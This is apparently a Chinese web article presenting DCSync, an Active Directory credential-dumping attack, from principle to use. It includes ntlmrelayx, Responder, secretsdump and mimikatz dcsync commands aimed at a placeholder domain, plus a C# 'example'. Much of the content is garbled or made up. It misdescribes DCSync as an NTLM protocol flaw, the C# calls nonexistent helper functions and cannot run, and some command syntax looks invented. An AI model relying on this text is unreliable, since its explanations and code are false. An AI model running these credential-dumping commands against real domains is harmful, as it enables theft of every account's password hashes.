您的位置:

DCSync: 从原理到应用的全面解析

一、DCSync原理

1、在介绍DCSync原理之前,我们先来了解一下NTLM协议。NTLM(Windows NT LAN Manager)协议是Windows系统中一种认证协议,最早出现在Windows NT 4.0系统中,现仍广泛应用在微软公司的Windows操作系统中。

2、NTLM协议主要由三个部分组成:认证请求消息(Type1 Message)、挑战响应消息(Type2 Message)和最终认证消息(Type3 Message)。

3、DCSync利用了NTLM协议的漏洞,通过模拟Windows AD域机器,向目标域控服务器发送认证请求消息,从而获取域内所有帐户的哈希值。


# C#代码示例
using System;
using System.DirectoryServices;
namespace DCSync
{
    class DCSync
    {
        static void Main(string[] args)
        {
            //首先需要获取目标域的SID
            string targetDomain = "target.com";
            DirectoryEntry entry = new DirectoryEntry("LDAP://DC=target.com");
            byte[] domainSID = entry.Properties["objectSid"].Value as byte[];

            //构造NTLM认证请求消息
            byte[] type1Message = NTLM.GenerateType1Message(targetDomain);

            //发送NTLM认证请求消息,并获取挑战响应消息
            byte[] type2Message = SamrInterop.GetChallengeResponse(type1Message);

            //构造最终认证消息,并获取所有帐户哈希值
            byte[] type3Message = NTLM.GenerateType3Message(targetDomain, type2Message, domainSID);
            byte[][] hashes = SamrInterop.GetHashes(type3Message);

            foreach (byte[] hash in hashes)
            {
                Console.WriteLine(BitConverter.ToString(hash).Replace("-", ""));
            }
        }
    }
}

二、DCSync权限维持

1、DCSync有一种比较实用的用途,就是可以利用其获取的凭据,来维持域内的持久化控制权。使用NTLM Relay攻击,攻击者能够利用获取到的哈希值直接对目标域控服务器进行密码重置,从而取得管理权限。

2、NTLM Relay攻击可绕过身份验证和授权过程拿到域内帐户的成对哈希值,因此攻击者可以构造一个NTLM认证哈希验证,从而获取信任关系和管理权限。


//使用impacket库进行NTLM Relay攻击的示例
sudo python ntlmrelayx.py -t ldap://DC.target.com -smb2support -socks -wh wpad.dat -no-pass

三、DCSync权限

1、DCSync默认情况下需要高权限,包括域管理组(Domain Admins)和企业管理员(Enterprise Admins)权限。这是由于DCSync需要从目标域控服务器获取域内所有帐户的哈希值,进而破解密码、获取机密等操作需要高权限。

2、域用户可以使用DCSync获得自己的密码哈希,从而进行密码破解等操作。但是,DCSync操作并不能提供域控制器的完全操作控制权。

四、DCSync端口

1、作为Windows AD域控制器的一部分,DCSync利用TCP/UDP的RPC协议在域控制器上运行,RPC协议通常在端口135上启动。在端口135之后,RPC端口可能在49152-65535之间变化。

2、可以使用Nmap等工具扫描目标系统,发现运行域控制器服务的端口号。


# Nmap扫描命令示例
sudo nmap -sT -p 135,139,445,49152-65535 -n target.com

五、DCSync攻击

1、攻击者可以使用DCSync攻击工具,先通过NTLM中继攻击泄露任意域用户的NTLM哈希,然后再使用这些哈希进行DCSync攻击。

2、可以使用impacket库,通过域cred表单和目标用户(User1)的NTLM哈希来获取另一个用户(User2)的NTLM哈希。


# 使用impacket库获取域cred表单和目标用户(User1)的NTLM哈希
secretsdump.py -just-dc-ntlm DC=target.com USER=User1

# 使用获得的NTLM哈希进行DCSync攻击
mimikatz "lsadump::dcsync /user:User2 /domain:target.com /dc:DC.target.com"

六、DCSync检测

1、 DCsync根据谁能访问LSA的重要性,它对IDS / IPS / SIEM系统具有很高的检测难度,在NTLM认证响应中使用的私有字段,而不是打印的常规ldap查询形式。

2、微软给出了关于DCSync检测的建议,包括强制实施NTLMv2,设计针对安全性高风险操作的源验证策略等。

七、DCSync_DCShadow疑似攻击

1、DCShadow是一种技术,可以使用虚拟机成为域控制器,从而控制域并获得管理员权限。DCShadow需要虚拟机作为攻击工具,而攻击者通过伪造域控制器来进行攻击,使得其操作得以更加隐蔽,以致于很难被检测到。

2、在DCShadow的攻击中,攻击者可以利用NTDS.dit文件来恢复域内活动目录数据。因为NTDS.dit文件中存放着AD DS域数据库存储的所有信息,包括域帐户、组成员关系、ACL等.

八、DCSync c#

1、C#代码示例如上所述,需要用到System.DirectoryServices库,且需要在拥有高权限的机器上运行。

九、DCSync linux

1、Linux上大多数NTLM Relay攻击工具都支持DCSync,如Responder与impacket库。


# 使用Responder执行NTLM Relay攻击,并使用获得的NTLM哈希进行DCSync攻击
sudo responder -I eth0 -wF
mimikatz "lsadump::dcsync /user:Administrator /domain:target.com /dc:DC.target.com /ntlm:c8343e85e06c5ecd88e1715d9c038ffa /format:hashcat"
总之,DCSync漏洞利用虽然需要拥有高权限,但若被攻击者利用,则可以造成数据泄露、信息安全等问题,因此需要切实加强自身网络安全防御机制,降低DCSync攻击的风险。